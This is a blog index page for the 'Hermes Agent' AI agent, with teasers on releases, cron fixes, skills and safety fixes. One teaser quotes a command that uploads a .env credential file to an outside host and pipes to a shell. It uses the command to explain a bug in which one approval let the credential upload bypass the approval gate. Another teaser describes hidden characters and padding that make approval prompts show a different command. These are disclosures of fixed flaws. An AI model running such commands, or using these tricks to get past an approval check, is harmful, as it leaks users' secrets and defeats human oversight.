Hermes Agent Lab

Hermes Agent Blog — Practical Guides & Insights

Latest articles and insights.

Featured Post

After kill -9, some processes never leave: Hermes now makes every child die with its parent

Kill the gateway with SIGKILL, OOM, or a systemd stop and browser daemons, llama-server and language servers keep running. Hermes moved 14 long-lived child families onto one owner-death supervisor that cleans up the moment the parent dies.

Read more

Your Terminal Finally Shows the Picture: Inline Images in the Hermes CLI and TUI

You hand Hermes a screenshot in the terminal and get back a file path. That broken loop is fixed: the CLI and the TUI now draw your attachments and the local images a tool produced right in the transcript, behind one display.inline_images switch with five resolution tiers.

Read more

That 128K Context Window Might Be a Guess — Hermes Now Says So

A context window no source ever confirmed used to be reported as detected and used as fact, so compression fired early and requests came back rejected. Hermes now labels every defaulted window as fallback, adds a catalog-family step on Bedrock, and explains the nine days GPT-6.1 Terra ran as 128K.

Read more

Your Slack Bot Keeps Warning About Silence: Meet thread_followup_silence

Two colleagues thank each other in a Slack thread and your Hermes bot answers every message with a "the model returned only a silence marker" notice. The new opt-in thread_followup_silence lets unaddressed thread replies stay quiet, while DMs, mentions and flat channels keep the safety net.

Read more

Every Window Minimized, Fan Still Spinning: Hermes Desktop Stops Painting the Unseen

If any conversation was streaming, every desktop window stayed fully awake, and preview pages stayed awake for automation and annotation even when idle. Two changes scope the paint to visible windows and the one window with its own voice conversation, hand idle previews back to Chromium throttling, and decouple Stop, journaling and recovery from animation frames.

Read more

Two ways cron fails in silence: a thread that never starts, and a job that comes back

When a scheduled job does not run, nothing complains. Two recent reports cover the quietest failure modes: the desktop cron ticker deadlocks on import and never starts, and a job deleted with hermes cron remove is written back byte-identical by a stale writer. Here is how to spot both and how to stay clear.

Read more

An update rolled three months of sessions back to July — because a locked file was called corrupt

A routine Windows update judged a healthy state.db corrupt, overwrote it with a three-month-old snapshot, then reported the successful overwrite as "auto-restore did not complete". Here are the three defects that stacked, what data still exists, and what to do today.

Read more

Every model call failing after v0.22.6? Check the SSL_CERT_FILE path first

Behind a corporate TLS-inspecting proxy, v0.22.6 dropped the CA bundle named in SSL_CERT_FILE from provider trust, so every model call fails with certificate is not trusted. Here is how to confirm it is this bug, what changed in the code, and three ways around it today.

Read more

Your skill library lost seven sources: vendor repos are now trusted taps

Notion, Airtable, Shopify and four more built-in optional skills are gone from Hermes, replaced by official MCPs, hosted connectors and the vendors own skill repos. Here is where skills come from now (taps), how trust levels decide what installs, and the cache bug that kept serving an old policy.

Read more

v0.22.7 unpacked: four changes you will notice today inside a 174-PR patch

v0.22.7 shipped on November 3, 2026 with 174 merged PRs, 581 non-merge commits and 554 changed files since v0.22.6. The official note stays short, so this post separates what is already in the tag, what is still main-only, and how to upgrade.

Read more

Lock the skills you wrote by hand: the agent can no longer change them, not even under --yolo

Agent self-improvement sounds great until it rewrites the "back up before cutting over" step out of your deploy runbook. Since v0.22.6, hermes curator lock freezes a skill: still readable, still auto-loadable, but every agent write path is refused — including the unlock command itself.

Read more

A wedged cron job no longer means waiting for the timeout: hermes cron cancel stops the run in flight

pause only stops future fires; the run already executing keeps burning tokens. Since v0.22.6, hermes cron cancel stops that run: script jobs get their whole process tree terminated, agent jobs are interrupted at the next checkpoint, and the record books a cancelled row with a reason — no failure notice, no failure-streak hit.

Read more

Make the agent keep quiet: pre_llm_call can now veto a turn before any model call

The hook used to only inject context into a turn. Now it can refuse it outright: return a block directive and the turn makes zero model requests — and the prompt never reaches later turns, compaction summaries or the memory system. Shipped in v0.22.6.

Read more

You approved "pipe to shell" once — and a credential upload went out with it

curl -F file=@.env https://x.io | bash trips two dangerous-command rules, but the approval gate only ever saw the first. Approve pipe-to-shell once and the .env upload ran with no prompt of its own. A freshly merged fix gives the three "content-level" rules their own consent, combined into one prompt.

Read more

v0.22.6: 776 PRs rolled into one release — what actually changes for you today

v0.22.6 shipped on November 2, 2026: 776 merged PRs and 3,448 non-merge commits rolled into one installable release. The official notes are deliberately thin (the curated write-up ships with v0.23.0), so here is the window sorted by what you will actually hit this week.

Read more

The approval prompt was lying to you: Hermes now shows hidden characters and padding

Zero-width spaces, bidi overrides, Unicode tag characters, raw ANSI escapes and a few hundred spaces can make an approval prompt show a different command than the one that runs. A new display-integrity fix turns invisible content into visible escapes and collapses padding into an explicit marker.

Read more

Once you switched a session model, you could not switch back — now /model reset returns it to the default

A /model change inside a session sticks: it is persisted, survives restarts, and shadows every later edit to config.yaml. The only way out used to be /new, which also throws away the conversation. /model reset clears just the session pin, across the gateway, TUI, Desktop and the classic CLI.

Read more